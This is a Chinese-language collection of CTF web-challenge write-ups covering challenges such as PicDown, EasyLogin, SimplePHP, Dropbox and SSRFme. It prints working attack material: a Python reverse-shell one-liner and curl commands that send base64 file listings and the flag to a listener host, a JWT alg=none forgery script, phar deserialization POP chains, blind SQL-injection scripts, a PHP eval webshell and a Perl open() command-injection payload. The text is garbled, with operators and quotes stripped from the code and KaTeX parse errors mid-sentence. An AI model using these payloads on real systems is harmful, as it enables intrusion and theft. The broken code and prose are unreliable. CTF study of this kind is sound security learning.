白虎组]PicDown知识点python2的**urllib的urlopen和urllib2中的urlopen明显区别就是urllib.urlopen**支持将路径作为参数去打开对应的本地路径所以可以直接填入路径读取文件包含environ恶意代码注入到/proc/self/environ?page…/…/…/…/…/proc/self/environUser-Agent如下:proc目录proc文件系统是一个伪文件系统它只存在内存当中而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。还有的是一些以数字命名的目录他们是进程目录。系统中当前运行的每一个进程都有对应的一个目录在/proc下以进程的PID号为目录名他们是读取进程信息的接口。而self目录则是读取进程本身的信息接口是一个link进程中的部分文件进程中的部分文件cmdlinecmdline 文件存储着启动当前进程的完整命令但僵尸进程目录中的此文件不包含任何信息cwdcwd 文件是一个指向当前进程运行目录的符号链接。可以通过查看cwd文件获取目标指定进程环境的运行目录exeexe 是一个指向启动当前进程的可执行文件完整路径的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径environenviron文件存储着当前进程的环境变量列表彼此间用空字符NULL隔开变量用大写字母表示其值用小写字母表示。可以通过查看environ目录来获取指定进程的环境变量信息fdfd是一个目录里面包含着当前进程打开的每一个文件的描述符file descriptor差不多就是路径啦这些文件描述符是指向实际文件的一个符号连接即每个通过这个进程打开的文件都会显示在这里。所以我们可以通过fd目录的文件获取进程从而打开每个文件的路径以及文件内容查看指定进程打开的某个文件的内容。加上那个数字即可在Linux系统中如果一个程序用 open() 打开了一个文件但是最终没有关闭它即使从外部如:os.remove(SECRET_FILE))删除这个文件之后在/proc这个进程的 pid目录下的fd文件描述符目录下还是会有这个文件的文件描述符通过这个文件描述符我们即可以得到被删除的文件的内容self/proc/self表示当前进程目录测试发现输入框的东西url是会改变的尝试目录穿越…/…/…/…/etc/passwd会下载一张图片非预期直接读flag预期读取/proc/self/environ/proc/self/cmdline读取/app/app.py1. from flask import Flask, Response 2. from flask import render_template 3. from flask import request 4. import os 5. import urllib 6. 7. app Flask(__name__) 8. 9. SECRET_FILE /tmp/secret.txt 10. f open(SECRET_FILE) 11. SECRET_KEY f.read().strip() 12. os.remove(SECRET_FILE) 13. 14. 15. app.route(/) 16. def index(): 17. return render_template(search.html) 18. 19. 20. app.route(/page) 21. def page(): 22. url request.args.get(url) 23. try: 24. if not url.lower().startswith(file): 25. res urllib.urlopen(url) 26. value res.read() 27. response Response(value, mimetypeapplication/octet-stream) 28. response.headers[Content-Disposition] attachment; filenamebeautiful.jpg 29. return response 30. else: 31. value HACK ERROR! 32. except: 33. value SOMETHING WRONG! 34. return render_template(search.html, resvalue) 35. 36. 37. app.route(/no_one_know_the_manager) 38. def manager(): 39. key request.args.get(key) 40. print(SECRET_KEY) 41. if key SECRET_KEY: 42. shell request.args.get(shell) 43. os.system(shell) 44. res ok 45. else: 46. res Wrong Key! 47. 48. return res 49. 50. 51. if __name__ __main__: 52. app.run(host0.0.0.0, port8080)首先是定义了SECRET_KEY然后将其删除但是没有关闭所以还能够在/proc/self/fd/【num】此处[num]代表一个未知的数值需要从0开始遍历找出里找到而且本题含有文件读取漏洞所以可以得到SECRET_KEY。/page下是定义了一个文件读取的功能/no_one_know_the_manager下是传两个参数如果key SECRET_KEY那么就可以执行命令但是没有回显可以用来反弹shell试到3找到D5mBvMGvbMF96GKzL989p98uECkbx741o5enb2U1YYo有了key值就可使用python进行反弹shellnc -lvp 8888no_one_know_the_manager?keylxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7kshellcurl 192.168.0.113:8888/ls /|base64?keyxBkXb5RQ0BFm83FhqDFzIKhg5VEptG8b8ICi7/RqACcshellcurl 192.168.0.113:8888/cat /flag|base64或直接/no_one_know_the_manager?keylxzY3xvJIDngLAx7RogcmxYWJX5MOWEKSCyT36xso7kshellpython -c “import os,socket,subprocess;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘192.168.12.129’,8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);psubprocess.call([‘/bin/bash’,‘-i’]);”[HFCTF2020]EasyLogin产看源码发现有个app.js文件分析可知该题采用了koa框架在getflag函数里发现有个/api/flag应该是有返回flag的函数按照koa框架的常见结构去获取下控制器文件的源码const crypto require(crypto); const fs require(fs) const jwt require(jsonwebtoken) const APIError require(../rest).APIError; module.exports { POST /api/register: async (ctx, next) { const {username, password} ctx.request.body; if(!username || username admin){ throw new APIError(register error, wrong username); } if(global.secrets.length 100000) { global.secrets []; } const secret crypto.randomBytes(18).toString(hex); const secretid global.secrets.length; global.secrets.push(secret) const token jwt.sign({secretid, username, password}, secret, {algorithm: HS256}); ctx.rest({ token: token }); await next(); }, POST /api/login: async (ctx, next) { const {username, password} ctx.request.body; if(!username || !password) { throw new APIError(login error, username or password is necessary); } const token ctx.header.authorization || ctx.request.body.authorization || ctx.request.query.authorization; const sid JSON.parse(Buffer.from(token.split(.)[1], base64).toString()).secretid; console.log(sid) if(sid undefined || sid null || !(sid global.secrets.length sid 0)) { throw new APIError(login error, no such secret id); } const secret global.secrets[sid]; const user jwt.verify(token, secret, {algorithm: HS256}); const status username user.username password user.password; if(status) { ctx.session.username username; } ctx.rest({ status }); await next(); }, GET /api/flag: async (ctx, next) { if(ctx.session.username ! admin){ throw new APIError(permission error, permission denied); } const flag fs.readFileSync(/flag).toString(); ctx.rest({ flag }); await next(); }, GET /api/logout: async (ctx, next) { ctx.session.username null; ctx.rest({ status: true }) await next(); } };注意到/apu/flag路径校验为admin用户时才会返回flag而登录验证方式采用的是JWT所以可以尝试对JWT进行破解修改。并且生成JWT是用HS256加密可以把它改为none来进行破解。标题中的alg字段更改为none有些JWT库支持无算法即没有签名算法。当alg为none时后端将不执行签名验证。 此外对于本题中验证采用的密匙secret值也需要为空或者undefined否则还是会触发验证所以将JWT中secretid项修改为[]首先要获取自己的jwt值需要用burpsuite登录抓包要先注册一个账号在进行解析修改按照刚刚要修改的三个值修改由于要修改alg为none在网页上无法直接获取新的jwt所以用python脚本生成在此之前先用pip安装好生成jwt的库PyJWT库脚本;import jwt token jwt.encode( { secretid: [], username: admin, password: 123456, iat: 1662825424 }, algorithmnone,key).encode(encodingutf-8) print(token)eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoiYWRtaW4iLCJwYXNzd29yZCI6IjEyMzQ1NiIsImlhdCI6MTc1NzY2NDE4OH0.确定username为admin且jwt为新生成的jwt后放包回到浏览器访问/api/flag[SWPUCTF 2018]SimplePHP信息收集提示flag在flag.php中此外有file.php用来查看文件upload_file.php用来上传文件上传文件可能会存在各种过滤在不清楚过滤机制的情况下通过返回信息调试绕过是困难且耗时的所以先选择file.php尝试来获取页面逻辑可以成功获取那么依次把能获取到的页面源码均获取出来file.php?php header(content-type:text/html;charsetutf-8); include function.php; include class.php; ini_set(open_basedir,/var/www/html/); $file $_GET[file] ? $_GET[file] : ; if(empty($file)) { echo h2There is no file to show!h2/; } $show new Show(); if(file_exists($file)) { $show-source $file; $show-_show(); } else if (!empty($file)){ die(file doesn\t exists.); } ?class.php?php class C1e4r { public $test; public $str; public function __construct($name) { $this-str $name; } public function __destruct() { $this-test $this-str; echo $this-test; } } class Show { public $source; public $str; public function __construct($file) { $this-source $file; //$this-source phar://phar.jpg echo $this-source; } public function __toString() { $content $this-str[str]-source; return $content; } public function __set($key,$value) { $this-$key $value; } public function _show() { if(preg_match(/http|https|file:|gopher|dict|\.\.|f1ag/i,$this-source)) { die(hacker!); } else { highlight_file($this-source); } } public function __wakeup() { if(preg_match(/http|https|file:|gopher|dict|\.\./i, $this-source)) { echo hacker~; $this-source index.php; } } } class Test { public $file; public $params; public function __construct() { $this-params array(); } public function __get($key) { return $this-get($key); } public function get($key) { if(isset($this-params[$key])) { $value $this-params[$key]; } else { $value index.php; } return $this-file_get($value); } public function file_get($value) { $text base64_encode(file_get_contents($value)); return $text; } } ?function.php?php //show_source(__FILE__); include base.php; header(Content-type: text/html;charsetutf-8); error_reporting(0); function upload_file_do() { global $_FILES; $filename md5($_FILES[file][name].$_SERVER[REMOTE_ADDR])..jpg; //mkdir(upload,0777); if(file_exists(upload/ . $filename)) { unlink($filename); } move_uploaded_file($_FILES[file][tmp_name],upload/ . $filename); echo script typetext/javascriptalert(上传成功!);/script; } function upload_file() { global $_FILES; if(upload_file_check()) { upload_file_do(); } } function upload_file_check() { global $_FILES; $allowed_types array(gif,jpeg,jpg,png); $temp explode(.,$_FILES[file][name]); $extension end($temp); if(empty($extension)) { //echo h4请选择上传的文件: . h4/; } else{ if(in_array($extension,$allowed_types)) { return true; } else { echo script typetext/javascriptalert(Invalid file!);/script; return false; } } } ?base.php?php session_start(); ? !DOCTYPE html html head meta charsetutf-8 titleweb3/title link relstylesheet hrefhttps://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css script srchttps://cdn.staticfile.org/jquery/2.1.1/jquery.min.js/script script srchttps://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js/script /head body nav classnavbar navbar-default rolenavigation div classcontainer-fluid div classnavbar-header a classnavbar-brand hrefindex.php首页/a /div ul classnav navbar-nav navbra-toggle li classactivea hreffile.php?file查看文件/a/li lia hrefupload_file.php上传文件/a/li /ul ul classnav navbar-nav navbar-right lia hrefindex.phpspan classglyphicon glyphicon-user/span?php echo $_SERVER[REMOTE_ADDR];?/a/li /ul /div /nav /body /html !--flag is in f1ag.php--upload_file.php?php include function.php; upload_file(); ? html head meta charestutf-8 title文件上传/title /head body div align center h1前端写得很low,请各位师傅见谅!/h1 /div style p{ margin:0 auto} /style div form actionupload_file.php methodpost enctypemultipart/form-data label forfile文件名:/label input typefile namefile idfilebr input typesubmit namesubmit value提交 /div /script /body /html可以见到在file.php中会采用file_exist函数检查文件是否存在而在class.php中名可以见到定义了一系列类并且Test类具有的如下方法可以用来读取flag.php那很显然接下来就是构造一条POP链并用phar伪协议去触发了先构造POP链?php class C1e4r { public $test; public $str; } class Show { public $source; public $str; } class Test { public $file; public $params; } $c new Test(); $c-params[source]/var/www/html/f1ag.php; $b new Show(); $b-str[str]$c; $a new C1e4r(); $a-str$b; $phar new Phar(1.phar); //.phar文件 $phar-startBuffering(); $phar-setStub(?php __HALT_COMPILER(); ? ); //固定的 $phar-setMetadata($a); //触发的头是C1e4r类所以传入C1e4r对象 $phar-addFromString(exp.txt, test); //随便写点什么生成个签名 $phar-stopBuffering();可以看到Test类最下面的file_get_contents就是我们的目的。file_get_contents在file_get函数里file_get函数由get函数调用get函数由魔术方法__get调用使用类里不存在的变量时调用。所以只要调用魔术方法__get即可调用file_get_contents$ value。这里的v a l u e 就是我们要读取 f 1 a g . p h p 的路径由 g e t 函数的 value就是我们要读取f1ag.php的路径由get函数的value就是我们要读取f1ag.php的路径由get函数的this-params[k e y ] 赋值 p a r a m s 是成员变量 key]赋值params是成员变量key]赋值params是成员变量key是魔术方法__get的参数由使用不存在这题来说的变量时会把这个不存在的变量赋值给KaTeX parse error: Expected group after _ at position 17: …ey。 那怎么调用魔术方法_̲_get呢show类里有个魔…this-str[‘str’]-source成员变量str变成一个数组数组里面有个键值是str这个键值指向一个成员变量source说明str[‘str’]就是一个类这个类里有成员变量source。这时只要把str[‘str’]赋值成Test类就变成Test-source。即使用Test类的成员变量source但Test类并没有成员变量soure所以会调用魔术方法__get(k e y ) 。 key)。key)。key就是这个不存在的变量在这题就是不存在的成员变量source。而 $value $ this-params[k e y ] ; 所以就要 p a r a m s [ key];所以就要params[key];所以就要params[key]params[‘source’]f1ag.php的路径。这就是上面KaTeX parse error: Expected group after _ at position 72: …由来。 那怎么调用魔术方法_̲_toString呢C1e4…test这时 $test只要是show类即echo一个类就会调用魔术方法__toString在这运行要加上参数不然会报错php -d phar.readonly0 F:\php\php.php重命名然后上传文件名按道理来说应该按照源码中逻辑去对应构造获取但是upload目录function文件创建的目录没有限制所以可以直接查看获取到文件名然后去file.php用phar伪协议触发就好了[网鼎杯2018]Unfinish进入题目之后只有一个登录界面检查源代码信息并没有发现有用的信息尝试万能密码登录也不行进行目录扫描发现了注册界面register.php那就访问注册界面随便注册一个账户进行登录注册好之后会自动跳转到登录页面我们登上去发现我们的用户名出现在了界面上那么这就很可能是用户明通过登录之后从数据库查询传到index.php页面了那这就很符合二次注入的点了我们就只能在注册的时候考虑用户名注入了那我们就尝试构建一下payload//注册用户insert into tables values(‘$ email’,’u s e r n a m e ′ , ′ username,username′,′password’)我们如果想要逃逸出闭合了那就只能跳出username了但是这样的话这条查询语句就不对了本来要插入三个变量现在逃逸之后变成两个这显然行不通了那么我们就只能考虑不去闭合并且让我们的查询语句成功执行这显然很好构建insert into tables values(‘$ email’,‘0’ (select ascii(database())) ‘0’,’ $password’)进行注入的话那就先判断下被过滤的关键词我们发现长度为922的被过滤掉了所以网站把“ 和 information”过滤掉了这个时候后续注入表名、列名的时候就要用到sys库了那么substr有没有不用逗号就执行的呢显然是有的0’(select ascii(substr(database()from 2 for 1)))0substr(..., from 2 for 1)从数据库名称的第 2 个字符开始截取 1 个字符这里我们发现第四次字母变成0了这就说明0 0 0 0就是查询语句没查出来说明已经结束了那么数据库的ascii编码就是11910198了 解码是web现在我们数据库注入出来了下一步肯定就是注入表名了information已经被过滤了所以我们就是用sys库进行注入。注入语句如下先来进行表名的注入0’select ascii(substr(table_name from 6 for 1 )) from sys.x$schema_table_statistics limit 10sys.x$schema_table_statistics这是 MySQL 数据库中一个系统表或视图存储了数据库中表的统计信息包含表名等数据结果我们发现一直注册不了但是我在自己本机的mysql中执行却可以成功执行这可能是这道题使用的数据库不是mysql可能没有sys库所以导致语句执行报错从而执行不成功构建python脚本最后查询发现其他人的表名是靠猜的那就用flag来进行flag的获取吧构建注入语句如下0’(ascii(substr((select * from flag) from 1 for 1)))0python脚本去跑脚本代码import requests import time from bs4 import BeautifulSoup def get_flag(): flag url http://4ecc41d2-2490-46b9-a16a-f384574ca1ca.node4.buuoj.cn:81/ register_url url register.php login_url url login.php for i in range(1, 100): time.sleep(0.5) register_data {email: {}1.com.format(i), username: 0ascii(substr((select * from flag) from {} for 1))0.format(i), password: 1} login_data {email: {}1.com.format(i), password: 1} requests.post(register_url, dataregister_data) response_login requests.post(login_url, datalogin_data) bs BeautifulSoup(response_login.text, html.parser) username bs.find(span, class_user-name) # 取返回页面数据的span classuser-name属性 number username.text flag chr(int(number)) print(\r, end) print(flag,end) if __name__ __main__: get_flag()[网鼎杯 2018]Comment[GWCTF 2019]枯燥的抽奖做题先搜集扫目录检查HTTP报文查看初始页面HTML代码初始页面逻辑为要求根据给出的部分字符串猜完整字符串猜对了有flag在初始页面源码中可以看到存在另外一校验页面check.php访问后直接给出了check.php的源码伪随机数引用上面的链接内容伪随机数是用确定性的算法计算出来的随机数序列它并不真正的随机但具有类似于随机数的统计特征如均匀性、独立性等。在计算伪随机数时若使用的初值种子不变那么伪随机数的数序也不变。伪随机数可以用计算机大量生成在模拟研究中为了提高模拟效率一般采用伪随机数代替真正的随机数。模拟中使用的一般是循环周期极长并能通过随机数检验的伪随机数以保证计算结果的随机性。伪随机数的生成方法有线性同余法、单向散列函数法、密码法等。mt_rand就是一个伪随机数生成函数它由可确定的函数通过一个种子产生的伪随机数。这意味着如果知道了种子或者已经产生的随机数都可能获得接下来随机数序列的信息可预测性。所以大致过程就明了了我们根据已经给出的部分随机数利用工具找出seed种子然后得到完整的随机数将已知的部分伪随机数转化为php_mt_seed工具可以看懂的数据str1 Hg11vtADEm str2 abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ result length str(len(str2)-1) for i in range(0,len(str1)): for j in range(0,len(str2)): if str1[i] str2[j]: result str(j) str(j) 0 length break print(result)下载后放入linux环境先make编译一下并且运行得到种子104150405同时要注意php版本是php7.1以上的执行代码的环境要是php7.1以上再依据源码得到字符串?php mt_srand(348806110); $str_long1 abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ; $str; $len120; for ( $i 0; $i $len1; $i ){ $str.substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); } echo p idp1.$str./p; ?EKLbAEQHRSyMxCfJ428A[WUSTCTF2020]CV Maker打开一看像是cms又看名字CV Maker。我以为直接要搜cve打了。搜了一会发现没什么啊。那先正常做把注册注册成功后这里报错猜测可能有注入点。先放在这里继续登陆。发现是上传头像那猜测可能有文件上传漏洞了Warning: mysqli_set_charset() expects exactly 2 parameters, 1 given in /var/www/html/index.php on line 114 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:106) in /var/www/html/index.php on line 132 Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/index.php:106) in /var/www/html/index.php on line 133exif_imagetype函数很常见的了判断文件头是否是图片。那我先传入一个图片马上传成功。但是发现无论是.htaccess还是各种格式的都无法上传成功图片马也无法利用。这时猜测是否能通过web应用程序解析漏洞绕过。报错网页发现是apache由于apache在解析文件名的时候是从右向左读如果遇到不能识别的扩展名则跳过jpg等扩展名是apache不能识别的因此如果一个文件名为1.php.gif。就会直接将类型识别为php从而达到了注入php代码的目的但是这里又无法上传成功很奇怪。这里测试了一会发现反着利用就可以了上传1.jpg.php看图片链接发现上传路径/uploads。然后最奇特的一点jpg好像被过滤成空了直接是php文件了。那就直接利用。蚁剑连接在根目录下找到flag这里我这要抓包改后缀不然不会识别成php文件不知道为什么[CISCN2019 华北赛区 Day1 Web1]Dropbox做题先搜集扫目录检查HTTP报文查看初始页面HTML代码但是没发现有用信息。正常登录注册尝试下功能注意到上传后可以下载而下载功能的路径未受限可以把源码给下载下来抓包看看下载功能可以读取/etc/passwd发现存在login class download deleteindex?php session_start(); if (!isset($_SESSION[login])) { header(Location: login.php); die(); } ? ?php include class.php; $a new FileList($_SESSION[sandbox]); $a-Name(); $a-Size(); ?class?php error_reporting(0); $dbaddr 127.0.0.1; $dbuser root; $dbpass root; $dbname dropbox; $db new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User { public $db; public function __construct() { global $db; $this-db $db; } public function user_exist($username) { $stmt $this-db-prepare(SELECT username FROM users WHERE username ? LIMIT 1;); $stmt-bind_param(s, $username); $stmt-execute(); $stmt-store_result(); $count $stmt-num_rows; if ($count 0) { return false; } return true; } public function add_user($username, $password) { if ($this-user_exist($username)) { return false; } $password sha1($password . SiAchGHmFx); $stmt $this-db-prepare(INSERT INTO users (id, username, password) VALUES (NULL, ?, ?);); $stmt-bind_param(ss, $username, $password); $stmt-execute(); return true; } public function verify_user($username, $password) { if (!$this-user_exist($username)) { return false; } $password sha1($password . SiAchGHmFx); $stmt $this-db-prepare(SELECT password FROM users WHERE username ?;); $stmt-bind_param(s, $username); $stmt-execute(); $stmt-bind_result($expect); $stmt-fetch(); if (isset($expect) $expect $password) { return true; } return false; } public function __destruct() { $this-db-close(); } } class FileList { private $files; private $results; private $funcs; public function __construct($path) { $this-files array(); $this-results array(); $this-funcs array(); $filenames scandir($path); $key array_search(., $filenames); unset($filenames[$key]); $key array_search(.., $filenames); unset($filenames[$key]); foreach ($filenames as $filename) { $file new File(); $file-open($path . $filename); array_push($this-files, $file); $this-results[$file-name()] array(); } } public function __call($func, $args) { array_push($this-funcs, $func); foreach ($this-files as $file) { $this-results[$file-name()][$func] $file-$func(); } } public function __destruct() { $table div idcontainer classcontainerdiv classtable-responsivetable idtable classtable table-bordered table-hover sm-font; $table . theadtr; foreach ($this-funcs as $func) { $table . th scopecol classtext-center . htmlentities($func) . /th; } $table . th scopecol classtext-centerOpt/th; $table . /theadtbody; foreach ($this-results as $filename $result) { $table . tr; foreach ($result as $func $value) { $table . td classtext-center . htmlentities($value) . /td; } $table . td classtext-center filename . htmlentities($filename) . a href# classdownload下载/a / a href# classdelete删除/a/td; $table . /tr; } echo $table; } } class File { public $filename; public function open($filename) { $this-filename $filename; if (file_exists($filename) !is_dir($filename)) { return true; } else { return false; } } public function name() { return basename($this-filename); } public function size() { $size filesize($this-filename); $units array( B, KB, MB, GB, TB); for ($i 0; $size 1024 $i 4; $i) $size / 1024; return round($size, 2).$units[$i]; } public function detele() { unlink($this-filename); } public function close() { return file_get_contents($this-filename); } } ?login?php session_start(); if (isset($_SESSION[login])) { header(Location: index.php); die(); } ? ?php include class.php; if (isset($_GET[register])) { echo scripttoast(注册成功, info);/script; } if (isset($_POST[username]) isset($_POST[password])) { $u new User(); $username (string) $_POST[username]; $password (string) $_POST[password]; if (strlen($username) 20 $u-verify_user($username, $password)) { $_SESSION[login] true; $_SESSION[username] htmlentities($username); $sandbox uploads/ . sha1($_SESSION[username] . sftUahRiTz) . /; if (!is_dir($sandbox)) { mkdir($sandbox); } $_SESSION[sandbox] $sandbox; echo(scriptwindow.location.hrefindex.php;/script); die(); } echo scripttoast(账号或密码错误, warning);/script; } ?download?php session_start(); if (!isset($_SESSION[login])) { header(Location: login.php); die(); } if (!isset($_POST[filename])) { die(); } include class.php; ini_set(open_basedir, getcwd() . :/etc:/tmp); chdir($_SESSION[sandbox]); $file new File(); $filename (string) $_POST[filename]; if (strlen($filename) 40 $file-open($filename) stristr($filename, flag) false) { Header(Content-type: application/octet-stream); Header(Content-Disposition: attachment; filename . basename($filename)); echo $file-close(); } else { echo File not exist; } ?delete?php session_start(); if (!isset($_SESSION[login])) { header(Location: login.php); die(); } if (!isset($_POST[filename])) { die(); } include class.php; chdir($_SESSION[sandbox]); $file new File(); $filename (string) $_POST[filename]; if (strlen($filename) 40 $file-open($filename)) { $file-detele(); Header(Content-type: application/json); $response array(success true, error ); echo json_encode($response); } else { Header(Content-type: application/json); $response array(success false, error File not exist); echo json_encode($response); } ?主要利用class.php来得到flaguser类public function __destruct() { $this-db-close(); }可以通过这个析构函数调用其他类FileList类__call() 是一个特殊的魔术方法magic method用于在对象中调用一个不存在或不可访问的方法时自动调用。它允许类在运行时捕获对未定义方法的调用从而实现动态方法调用的功能public function close() { return file_get_contents($this-filename); }思路user类–$this-db-close()–FileList类–__call()–File类–close()可以使用phar伪协议meta-data保存信息它是序列化后的信息phar://伪协议可以让一些函数自动反序列化这个字段信息不管文件后缀名是什么都会按照.phar来解析通过脚本生成.phar文件上传之后伪协议读取脚本 (这里flag为什么是txt就不知道了)?php class User { public $db; } class FileList { private $files array(); public function __construct() { $file new File(); array_push($this-files,$file); } } class File { public $filename /flag.txt; } $pharnew Phar(phar.phar); $phar-startBuffering(); $phar-setStub(GIF89a.?php __HALT_COMPILER();?); $phar-addFromString(test.txt,test); //添加要压缩的文件 $obj new User(); $obj-dbnew FileList(); $phar-setMetadata($obj); //将自定义的metadata存入manifest $phar-stopBuffering(); ?生成文件时还是要注意php -d phar.readonly0 .\123.php将生成文件后缀改为jpg上传ini_set(“open_basedir”, getcwd() . “:/etc:/tmp”); 这个函数执行后我们通过Web只能访问当前目录、/etc和/tmp三个目录所以只能在delete.php中利用payload而不是download.php否则访问不到沙箱内的上传目录。点击删除并抓包修改文件名下载页面对flag字段有过滤得到flag现实情况下每个类都是在服务端写好的服务端不傻不能保证我们每次都能遇到里面直接有eval($s)这样对选手十分友好的类也很难保证直接在__destruct里面就能触发相应函数可能需要去寻找其他魔术方法毕竟非魔术方法我们是几乎没可能直接调用的。比如本题中就没有任何代码执行或命令执行语句可供使用迫使我们只能去想文件读取。但总的来说基本思路就是这样上传phar文件利用类中的可利用的方法找到服务端文件操作函数并以phar://协议读取phar文件。有大佬总结的利用条件1phar文件要能够上传至服务器2要有可用的魔术方法为跳板3文件操作函数的参数可控且:、/、phar等特殊字符没有被过滤[NCTF2019]SQLi打开之后首先尝试万能密码登录和部分关键词or、select、、or、table、#、-等等登录显示被检测到了攻击行为并进行了拦截使用dirmap扫描扫描python3 dirmap.py -i http://38457678-39d0-4069-9193-7b082a65e751.node5.buuoj.cn:81/ -lcf这里我扫不到访问robots.txt文件发现hint.txt文件并进行访问发现提示信息和过滤的一堆关键字得到提示过滤了一堆东西$black_list “/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00||| |in|||-|.|()|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i”;已知column名并且注入点在where子句中要求得到密码这里可以采用regexp进行bool盲注。regexp bool 盲注Regular Expression Boolean-based Blind Injection是一种利用正则表达式进行的盲注技术。它通过构造包含正则表达式的 SQL 语句根据目标服务器返回的布尔值真 / 假通常表现为页面正常 / 异常来推断数据库中的信息payload: username\passwd||%091;%00通过\ 转义username后第二个单引号进而闭合掉passwd后第一个引号通过%00截断 代替# –空格过滤可以替换为%09注意到查询成功会跳转到welcome.php可以用如下的payload来进行盲注注意是正则匹配所以需要限定字符串开头否则在字符串中找到也会算为真username\passwd||%09passwd%09regexp%09^y;%00regexp “^a” 表示 查找passwd列中以a为起始的脚本爆破import requests from urllib import parse import time #跑出密码后发现没有大写字母因此就去掉了大写字母可手动加上ABCDEFGHIJKLMNOPQRSTUVWXYZ strings abcdefghijklmnopqrstuvwxyz1234567890_{}-~ url http://e1db0b7e-6166-479c-b047-ae5fc10f9d56.node5.buuoj.cn:81/ passwd you_will_neve i 1 while i 80: for one_char in strings: data { username:\\, passwd:||/**/passwd/**/regexp/**/\^passwdone_char\;parse.unquote(%00) } rs requests.post(url,data).content.decode(utf-8) time.sleep(0.01) if welcome in rs: passwd passwd one_char print(\r, end) print(已匹配到前str(i)位 | str(passwd),end) i i 1 break if one_char~ and welcome not in rs: print(\n密码共str(i-1)位已匹配完成) i 80 break这脚本不知道为什么跑一半直接结束直接把结果弄上去接着跑搞了三次用户名随便[CISCN2019 总决赛 Day2 Web1]Easyweb查看源码抓包查看无果后尝试进行目录扫描发现网站中存在 robots.txt查看robots.txt ,发现该网站中存在含有备份文件下载查看image.php.bak(这里是由源码猜测的)?php include config.php; $idisset($_GET[id])?$_GET[id]:1; $pathisset($_GET[path])?$_GET[path]:; $idaddslashes($id); $pathaddslashes($path); $idstr_replace(array(\\0,%00,\\,),,$id); $pathstr_replace(array(\\0,%00,\\,),,$path); $resultmysqli_query($con,select * from images where id{$id} or path{$path}); $rowmysqli_fetch_array($result,MYSQLI_ASSOC); $path./ . $row[path]; header(Content-Type: image/jpeg); readfile($path);存在addslashes()函数 会在预定义字符之前添加反斜杠字符串预定义定义字符单引号 双引号 反斜杠 NULLstr_replace 将\0,“%00”,“”,‘替换成空前面第一个 \ 是用来转义的sql查询语句 select * from images where id‘{$ id}’ or path’{ $ path}我们的目标就是sql传参 就是要将 id处的单引号包裹给打破一般我们路是在传参的时候使用的单引号进行包裹由于addslashes() 我们没有办法使用单引号addslashes会将我们输入的引号进行转义这时候我们想到了str_replace函数我们如果传入的参数是\0,那么首先他会经过addslashes()然后就变成了\0这个时候再由str_replace进行替换id参数就成为了\也就是达到了我们的目的。构造payloadselect * from images where id\0 or path{$path}sql盲注 使用脚本(盲注常见操作了写脚本依次注库、表、字段名这里省略掉快进到直接查账户名和密码)import requests url http://1dd3577f-895c-416f-bea7-d2dbfb20ae81.node5.buuoj.cn:81//image.php?id\\0path payload or ascii(substr((select password from users),{},1)){}%23 result for i in range(1,100): high 127 low 32 mid (lowhigh) // 2 # print(mid) while(highlow): r requests.get(url payload.format(i,mid)) # print(url payload.format(i,mid)) if JFIF in r.text: low mid 1 else: high mid mid (low high) // 2 result chr(mid) print(result)爆出密码b24094fa6cd2e220d036登陆admin上传文件猜测文件上传直接上传 php文件 发现上传失败 但可以上传 phtml文件同时文件中不允许存在 php 所以我们使用段标签绕过? eval($_POST[1]); ?这里路径要快点复制蚁剑连接不上phtml 使用用文件名写马 进行连接[HITCON 2017]SSRFme直接给源码首先$_SERVER方式把HTTP_X_FORWARDED_FOR给请求过来然后通过explode函数分割在把ip地址截取出来在用echo函数输出出来这就是我们第一行看到的IP地址sandbox变量为sandbox/后面拼接一个orange拼接输出的ip的MD5值在通过mkdir($sandbox);chdir($sandbox);创建sandbox这个目录这里的GET不是我么平常的GET方法传参这里的GET是Lib for WWW in Perl中的命令 目的是模拟http的GET请求,GET函数底层就是调用了open处理到kali里面去测试一下这个GET有什么作用这里GET一个根目录功能类似于ls把它给列出来可以读取文件把shell_exec中GET过来的结果保存到escapeshellarg中用get此处get为get请求接收的参数中并且这个参数是可以在shell命令里使用的参数。然后用pathinfo函数分割get过来的filename最后替换点截取前面目录最终用file_put_contents函数把之前$data给写进这个目录里面。知道了代码的流程我们就可以构造我们的参数了构造参数首先我们GET根目录且让其放进test目录里然后我们对其访问路径是sandbox拼接的MD5值testsandbox/50d5f583d8a911dde39156ba3f03c3d5/test根目录下有flag和readflag文件但是打不开我们要利用readflag去读取flag接下来就是Perl中open命令执行GET内容了因为GET的底层是使用open函数的如下file.pm84: opendir(D, $path) or132: open(F, $path) or returnnew而这个open函数会导致我们的RCE最终造成GET的RCE因为GET使用file协议时候会调用perl中的open函数所以我们这题就需要利用file来进行绕过了执行命令需要满住如下条件要执行的命令先前必须要有以命令为文件名的文件存在这里不是很理解大佬可以告知一下既然要满住这个条件那我们构造的payload如下?urlfilename|/readflag 2、?urlfile:|/readflagfilenametest在访问sandbox/50d5f583d8a911dde39156ba3f03c3d5/test拿到flagOctober 2019 Twice SQL Injection二次注入的原理:在第一次进行数据库插入数据的时候使用了 addslashes 、get_magic_quotes_gpc、mysql_escape_string、mysql_real_escape_string等函数对其中的特殊字符进行了转义但是addslashes有一个特点就是虽然参数在过滤后会添加 “\” 